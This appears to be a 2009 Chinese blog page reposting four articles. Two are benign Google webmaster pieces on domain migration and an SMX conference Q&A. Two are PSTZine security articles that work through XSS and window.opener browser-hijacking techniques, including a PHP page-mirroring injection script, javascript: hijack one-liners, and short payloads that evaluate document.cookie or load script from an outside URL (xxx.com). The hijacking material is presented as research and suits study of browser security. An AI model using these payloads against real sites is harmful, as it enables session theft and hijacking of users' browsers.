2009年5月7日星期四

网站迁移的最佳方法

转载自:http://www.googlechinawebmaster.com/2008/05/blog-post.html

您正在计划为自己的网站更换新的域名吗?很多网站管理员发现这真是一个繁琐的过程。究竟怎样做才能不影响网站在谷歌搜索结果中的表现呢?
您希望这种迁移对于用户来说是毫无察觉地发生的,同时希望谷歌知道新页面应该与原网站页面得到相同的质量认可。当您迁移网站时,那些讨厌的404误提示(无法找到文件) 不仅会伤害用户体验,还会给您的网站在谷歌搜索结果中的表现带来负面影响。

本文将介绍如何稳妥地将您的网站搬到一个新域名(例如从www.example.com变为www.example.org)。这与将网站搬到一个新的IP地址是不同的,如果想了解这方面的内容请阅读此文

网站迁移的主要步骤如下:
  • 首先通过移动一个目录或子域名的内容来测试整个网站的迁移过程。然后使用301重定向功能将原有网站网页重定向到您的新网站上。通过此方法可告知谷歌和其它搜索引擎:您的网站已经永久性地迁移了。
  • 上述操作完成后,查看一下您新网站里的网页能否出现在谷歌的搜索结果里。如果您对这次小范围的迁移感到满意,就可以迁移整个网站了。请不要将旧网站中所有网页的流量都重定向到您的新主页上,这种一刀切式的重定向虽然会避免404错误,但它并不能为用户提供良好的体验。尽管页对页的重定向(旧网站中每一网页都重新定向到新网站的相应网页上)会带来更大的工作量,但这也会给您的用户带来更连贯和明晰的体验。如果在新旧网站中不是一对一的页面匹配,那么一定要努力确保旧网站中每一个网页至少要重定向到具有类似内容的新网页上。
  • 如果网站因为要重新命名或重新设计而需变更域名,您可以分两个阶段进行:第一阶段,移动您的网站;第二阶段,开始重新设计。这样做,不仅可以掌控用户在每一阶段中感受到的变化幅度,而且可以使整个过程变得更顺利。把变化控制在最低限度可以使您更容易发现和解决各种意外情况。
  • 检查您网站网页的内、外部链接。理想的情况是您应该联络每个链接到您网站上的其他网站的管理员,让他们把链接指向您新域名的相应网页。如果这难以实现,您要确保原网站中所有含有其他网站链接指向的网页都被重定向到您的新网站上。您也应该检查并更新所有旧网站里的内部链接,使它们指向新域名。当您的网站内容已经在新服务器上准备就绪后,您可以使用一个诸如Xenu的链接检查工具来确认在您的新站点上没有遗留的故障链接。这一点特别重要,如果您的原始内容包含绝对链接(如www.example.com/cooking/recipes/chocolatecake.html )而不是相对链接(如 …/recipes/chocolatecake.html)的话。

  • 为防止混淆和混乱,您最好继续持有对原网站域名的控制权限至少180天。
  • 最后,确保您的新、旧网站都在网站管理员工具中得到验证,并定期检查抓取错误,确保来自旧网站的301重定向工作正常,同时新网站上也不会显示我们不想看到的404错误提示。
我们承认,迁移从来就不是一件容易的事 —— 但是,这些步骤能帮助您确保原有网站的良好声誉在迁移的过程中不受损失。

2009 厦门SMX大会 Part II

转载自:http://www.googlechinawebmaster.com/2009/05/2009-smx-part-ii.html

在四月九日、十日的两天会议中,我们在会场设置了展台,很高兴与很多网站管理员进行了面对面的交流, 也很高兴了解到越来越多的站长开始关注和喜欢谷歌的搜索。我们欢迎广大的站长在这里继续留下评论, 如果有问题可以到谷歌网站管理员论坛上面与我们交流。

来自谷歌中文反网络作弊组的资深工程师朱凯华做了题为“ 谷歌搜索引擎优化” 的演讲,站在提高搜索质量和提升用户体验的角度,分享了如何利用谷歌提供免费资源和工具来提高网站质量,例如参考谷歌搜索引擎优化初学者指南。他建议在优化网站的时候,首先要考虑用户的体验,优化的方面可以包括例如标题和元标签、URL、站内导航、404页面等方面;同时他也纠正了大家的一些误解,比如 URL 一定要静态化等等;除此以外,还分享了谷歌搜索最近推出的新功能,利用 rel="canonical" 指定URL的范式 。朱凯华特别强调的是,一切的改变都应该为用户考虑,增加价值,例如:提供原创的内容或者服务。在演讲的最后,朱凯华还提供了一个列表,其中列举了谷歌网站管理员工具的主要功能,和谷歌提供的有关搜索免费资源,包括优化方面的指南和建议。

为了方便没有机会参加会议的站长了解这个演讲的内容,我们附上了他使用的演示文档

朱凯华在演讲之后还与现场的听众进行了互动交流,以下是他对主要问题的回答:

1. 问:我的网站刚刚把动态的 URL 全都静态化了,会不会对 Google 收录有影响?在 Google 网站管理员工具里面出现了警告,应该怎么办?

答:首先,我们并不鼓励为了搜索引擎而做静态化的 URL,Google 可以很好的理解多种 URL 结构和含义,比如动态的和静态的。而且在静态化过程中如果处理不当,反而可能导致搜索引擎重复抓取。

如 果是出于用户体验和网站管理的角度已经做了静态化的 URL,并且如果别的网站有通过旧的(动态)URL指向您的链接,这个时候建议您使用 301 重定向,把它们重定向到静态化以后的 URL 上去,以免损失 “声誉值”。如果已经有用户收藏了你的页面,并且通过旧的 URL 来访问,这么做对他们也有帮助。

至于您的第二个问题,既然在网站管理员工具中看到了警告,您应该依照提示分析出现警告的原因,并作出相应的调整。

2. 问:到我网站上的链接有很多页面会返回404,会不会影响我在 Google 的排名?

答:对于一个不存在的 URL,建议返回一个404响应代码,而不鼓励返回200响应代码。这样做会避免 Google 对404页面的重复抓取,对您的网站的收录也有帮助。如果是一个正常的404,请你不用担心,这并不会影响你的网站的 “声誉”。

但是,过多的坏链也会影响到用户的体验,令用户觉得沮丧。所以我们建议您修正这些链接。你可以用301重定向将用户和Googlebot带到一个有用的页面,而不是一个出错页面。此外,您也可以考虑采用类似于Google的增强型404页面工具 ,使得404页面对用户更加有用。

3.问:可不可以介绍一下谷歌的搜索技术?谷歌是怎么做到在海量的网页中搜索到需要的信息的?

答:谷歌的搜索技术是我们最为感到自豪的,尽管如此,我们仍然在不断努力提高技术,满足用户的需求。在这里我没有时间详细地介绍这些,如果您对这个问题感兴趣的话,非常欢迎您来我们的网站,阅读公司信息中的Google技术 ;Google 负责搜索质量的工程副总裁 Udi Manber 写的博客,Google搜索质量介绍;如果您愿意阅读英文,可以参考Google的两位创始人 Sergey Brin 和 Larry Page 发表于 1998 年的论文The Anatomy of a Large-Scale Hypertextual Web Search Engine

4.问:目前字母比较少的 .cn 的域名似乎已经被注册的差不多了,我开始申请和使用其他国家的域名,是不是会影响我的网站的排名?

答: 谷歌会尝试对用户的查询返回最相关的结果,不论这些结果是来自.cn .com .es或者其他顶级域名。当用户把他们的查询限制到一个特殊的地理区域时,一个网站的顶级域名会影响到我们对是否相关的判断。但是我们同时也会考虑到其他 因素,例如,服务器的地理位置。当您的域名是.com、.org、.asia 这种与地域无关的顶级域名时,您可以在 Google 网站管理员工具中设定一个目标地理区域。

这样做的同时,您也应该考虑到您的用户,如果绝大多数用户是来自中国的,而你使用的域名是外国的,这样会影响到中国用户访问您的网站时域名解析所需要的时间。

5.问:我的网站在准备的阶段注册了一个域名,同时也在使用三个做备选域名,后来另外三个被不小心启用了,这样就有了四个一样的镜像网站,现在每个网站都会有一些被收录页面,这样的做法对我的网站有什么影响吗?我应该怎么做?

答:这种情况下您应该把这三个备选域名用 301 重定向到你的主要域名上。具体的做法可以参考这篇博客网站迁移的最佳方法

6.问:我的网站是英文的,也有很多来自印度的用户,但是服务器在美国,这样会不会影响我的网站在 Google 印度的排名?

答: 谷歌希望提供最相关的搜索结果给用户,无论网站的服务器在哪里。但是同时,这也取决于用户查询的关键词,通常在选择了“某地的网页”,例如 “印度的网页” 之后差别就会很明显。如果您有一个最好的关于“魔兽争霸”游戏经验的网站,当用户搜索“魔兽争霸攻略”的时候,无论你的服务器在哪里都不应该影响网站排 名;但是,如果用户查找的本地服务,比如 “银行”,结果应该有更多的印度本地的网站。尤其是当用户选择了 “印度的网页” 之后,您的网站的服务器如果是在美国,出现在搜索结果里面的可能性就会变小。

7.问:听说最近谷歌的算法有一个调整,是关于线下大品牌的。我们是一个大品牌,在互联网上应该如何让 Google 知道呢?

答:Matt Cutts 在英文的网站管理员频道中有一段视频, 对此做出了解释。 正如他说的,这个变化并不是针对品牌的,而是关于一个网站本身的 “权重,声誉,信任”。其实 Google 的算法在不断优化中,每年都会有 300 - 400个关于排名的调整,平均每天都有变化,而所谓的 Vince's change 只是众多调整中的一个。无论您是不是一个大品牌,您最好都不要因为 Google 个别的算法调整而担忧,努力提高网站本身的质量才是长久之计。

很高兴这次有机会在厦门和这么多站长进行了互动,希望下次能和更多的站长进行面对面的交流!

2009年5月6日星期三

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

转载自:http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x05.txt
[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考


一、前言

最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。


二、同源策略简叙

同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。


三、理解window对象的同源策略

窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:

--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
这些属性和方法就必须遵循同源策略。

举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
--demo.html--------------------------------------------------------------------
<script language="javascript">
function allPrpos(obj) {
var props = "<table><tr><td>名称</td><td>值</td>";
for(var p in obj){
if(typeof(obj[p])=="function"){
obj[p]();
}else{
try
{
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
}
catch (ex)
{
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
}
}
}

document.write(props+"</table>");
}

function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------


四、窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
行测试,会发现父窗口可以控制非同源子窗口location属性值。

--vul1.html--------------------------------------------------------------------
<script language="javascript">
function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。

--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);

-------------------------------------------------------------------------------


五、利用窗口引用漏洞劫持浏览器

经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
会产生什么可怕的后果。

下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
以做更多的事情,所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
</script>
-------------------------------------------------------------------------------
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


六、利用XSS漏洞劫持浏览器

延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
讨论跨站师的终极技巧:


6.1 正向跨窗口劫持

大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
框脚本。

--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------


6.2 反向跨窗口劫持

同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
框脚本。

--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------


6.3 极度危险的跨框架窗口引用劫持

非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS,如下:

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------
6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
异常处理规避之间跨域页面的访问异常,代码如下:

--code-------------------------------------------------------------------------

javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------

假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面,从而实现“隔空打击”。

同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。

结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。


6.5 完全控制浏览器

一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
师的终极目标 - 完全控制浏览器。


七、后记

文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

突破XSS字符数量限制执行任意JS代码

转载自:http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x04.txt
[目录]

1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
2.4.1 document.referrer
2.4.2 剪切板clipboardData
2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考

一、综述

有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主
要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
极端情况下的XSS漏洞。

突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
据。

二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:

--code-------------------------------------------------------------------------
<div id="x">可控的安全的数据</div>
<limited_xss_point>alert(/xss/);</limited_xss_point>
-------------------------------------------------------------------------------
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
--code-------------------------------------------------------------------------
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
-------------------------------------------------------------------------------
长度:28 + len(id)

由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。


2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到
最后:
--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:30

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:31

上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个
字符:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:29

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:30
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:

--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
-------------------------------------------------------------------------------

长度:29

这样比上面的例子又少了一个字符。那么还可以更短么?

2.3 JS上下文的利用

为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:

String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...

就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的
简化函数,最经典的例子就是:

--code-------------------------------------------------------------------------
function $(id) {
return document.getElementById(id);
}
-------------------------------------------------------------------------------

这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:

--code-------------------------------------------------------------------------
function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
-------------------------------------------------------------------------------

长度:len(函数名) + len(url) + 5

当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
--code-------------------------------------------------------------------------
function get(url) {
...
return x.responseText;
}

<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
-------------------------------------------------------------------------------

长度:len(函数名) + len(url) + 11

道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:

JQuery
YUI
...

综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
们的代码,进而突破长度限制执行任意代码。
2.4 利用浏览器特性在跨域的页面之间传递数据

虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了
Payload,被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面:

--code-------------------------------------------------------------------------
http://www.a.com/attack.html?...&alert(document.cookie)

<a href="http://www.xssedsite.com/xssed.php">go</a>
-------------------------------------------------------------------------------
被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:34

这种方式利用上还有一些问题,如果使用location.href或者<meta equiv="refresh">
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:
--code-------------------------------------------------------------------------
<script type="text/javascript">
<!--
window.onload = function(){
var f = document.createElement("form");
f.setAttribute("method", "get");
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
document.body.appendChild(f);
f.submit();
};
//-->
</script>
-------------------------------------------------------------------------------
2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获
取并执行该数据。

攻击者构造的页面:

--code-------------------------------------------------------------------------
<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
-------------------------------------------------------------------------------

被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
-------------------------------------------------------------------------------

长度:36

这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。

2.4.3 窗口名window.name

这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
据的,但是这个特性本身并不是漏洞。

如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS
或者VBS。

但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:

攻击者构造的页面:

--code-------------------------------------------------------------------------
<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>
-------------------------------------------------------------------------------

被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(name);</limited_xss_point>
-------------------------------------------------------------------------------

长度:11

这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
的技巧,这个技巧的发现也是促成本文的直接原因。

window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文
章来探讨。


2.5 以上的方式结合使用

以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
中,灵活的组合上面的方法可能会起到奇效。


三、后记

JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
和我交流!

感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!

本文是纯粹的技术探讨,请勿用于非法用途!


四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx